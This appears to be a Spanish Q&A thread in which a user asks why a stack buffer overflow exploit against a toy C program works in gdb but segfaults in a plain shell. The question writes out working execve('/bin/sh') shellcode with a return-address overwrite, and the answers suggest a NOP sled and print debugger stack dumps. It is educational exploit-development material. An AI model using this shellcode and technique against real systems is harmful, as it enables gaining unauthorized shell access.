Explotación de fallos de segmentación del programa C

0

Tengo un programa vulnerable en c que copia argv en un búfer y luego lo imprime:

# include <string.h>
# include <stdio.h>
# include <stdlib.h>

void func(char * arg){
   char name[32];
   strcpy(name, arg);
   printf("\n Welcome %s\n\n", name);
}

int main(int argc, char *argv[]) {
    if (argc < 2){
       printf("Use: %s Name\n", argv[0]);
       exit(0);
   }
   func(argv[1]);
   printf("End\n\n");
   return 0;
}

Lo he compilado con gcc sin protector de pila y execstack , luego he usado gdb para ver el punto de memoria donde debo cambiar el EIP. Pero me he dado cuenta de que el shellcode se ejecuta (el exploit funciona) solo cuando estoy en gdb pero fuera no funciona.

Works:

$ gdb ./prog -q
(gdb) run 'perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"''
$ whoami
user

No funciona:

$ ./prog 'perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"''
segmentation fault

¿Por qué sucede esto? Creo que este código debería funcionar fuera de gdb, también.

    
pregunta Osmond 22.09.2016 - 15:32
fuente

2 respuestas

0

Es posible que GDB esté jugando con el diseño de tu memoria en tiempo de ejecución, haciendo que todo se alinee como lo necesites. Podría valer la pena asegurarse de que se creen volcados de núcleo y luego usar GDB para hacer una depuración post mortem para ver si su código realmente está siendo afectado.

Alternativamente, el EIP puede configurarse como se espera pero su carga útil puede haberse movido, en cuyo caso considere un trineo NOP y apunte el EIP para eso.

    
respondido por el Colin Cassidy 22.09.2016 - 15:48
fuente
0

Como han dicho otros, gdb y shell están usando diferentes direcciones, causando problemas con la dirección de retorno. Agregué algunos nops y lo ejecuté en GDB y en un shell con ltrace para encontrar las diferencias de ubicación. Vea abajo:

En GDB, la cadena se copia en 0xbffff0c0


[----------------------------------registers-----------------------------------]
EAX: 0xbffff0c0 --> 0x90909090 
EBX: 0xb7fc0000 --> 0x1abda8 
ECX: 0xbffff3c0 --> 0x47445800 ('')
EDX: 0xbffff0f0 --> 0xbffff300 --> 0x80483b0 (<_start>: xor    ebp,ebp)
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0e8 ("AAAA0077")
ESP: 0xbffff0b0 --> 0xbffff0c0 --> 0x90909090 
EIP: 0x80484c5 (:  lea    eax,[ebp-0x28])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484ba : lea    eax,[ebp-0x28]
   0x80484bd : mov    DWORD PTR [esp],eax
   0x80484c0 : call   0x8048360 
=> 0x80484c5 : lea    eax,[ebp-0x28]
   0x80484c8 : mov    DWORD PTR [esp+0x4],eax
   0x80484cc : mov    DWORD PTR [esp],0x80485c0
   0x80484d3 : call   0x8048350 
   0x80484d8 : leave
[------------------------------------stack-------------------------------------]
0000| 0xbffff0b0 --> 0xbffff0c0 --> 0x90909090 
0004| 0xbffff0b4 --> 0xbffff390 --> 0x90909090 
0008| 0xbffff0b8 --> 0xb7e20c34 --> 0x2aad 
0012| 0xbffff0bc --> 0xb7e472f3 (<__new_exitfn+19>: add    ebx,0x178d0d)
0016| 0xbffff0c0 --> 0x90909090 
0020| 0xbffff0c4 --> 0xc0319090 
0024| 0xbffff0c8 ("Ph//shh/bin13PS110\v̀", 'A' , "0077")
0028| 0xbffff0cc ("shh/bin13PS110\v̀", 'A' , "0077")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x080484c5 in func () gdb-peda$

En el shell, la cadena se copia en 0xbffff130


mbe@mbe-VirtualBox:~/test$ ltrace ./a.out asdf
__libc_start_main(0x80484da, 2, 0xbffff214, 0x8048530 
strcpy(0xbffff130, "asdf")                        = 0xbffff130
    
respondido por el Praet 06.10.2017 - 13:43
fuente

Lea otras preguntas en las etiquetas